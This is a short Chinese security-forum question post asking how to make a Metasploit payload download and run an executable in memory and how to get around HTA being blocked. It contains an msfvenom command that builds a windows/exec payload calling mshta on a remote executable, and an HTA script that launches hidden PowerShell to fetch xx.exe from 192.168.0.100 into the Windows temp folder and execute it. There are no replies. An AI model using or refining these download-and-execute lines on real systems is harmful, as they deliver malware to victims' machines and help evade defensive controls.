

[登录](#)

msf内存执行

[133****2792](#) / 2019-01-18 09:14:00 / 浏览数 3695 [新手](#) [问与答](#) [顶\(0\)](#) [踩\(0\)](#)

msf直接内存执行

msfvenom -p windows/exec cmd='mshta <http://192.168.0.100/xx.exe>' -f js_le exitfunc=thread

想要msf内存下载执行该怎么改

```
<script> a=new ActiveXObject("WScript.Shell"); a.run("%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\"http://192.168.0.100/xx.exe\", \"c:/windows/temp/xx.exe\"); c:/windows/temp/xx.exe', 0);window.close(); </script>
```

这是hta的下载执行代码，但是好多都禁止了hta，有什么好办法吗

点击收藏 | 0 关注 | 1

[上一篇：Frontaccounting一个...](#) [下一篇：逆向工程 - 第1部分（基本编程概念）](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟贴

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)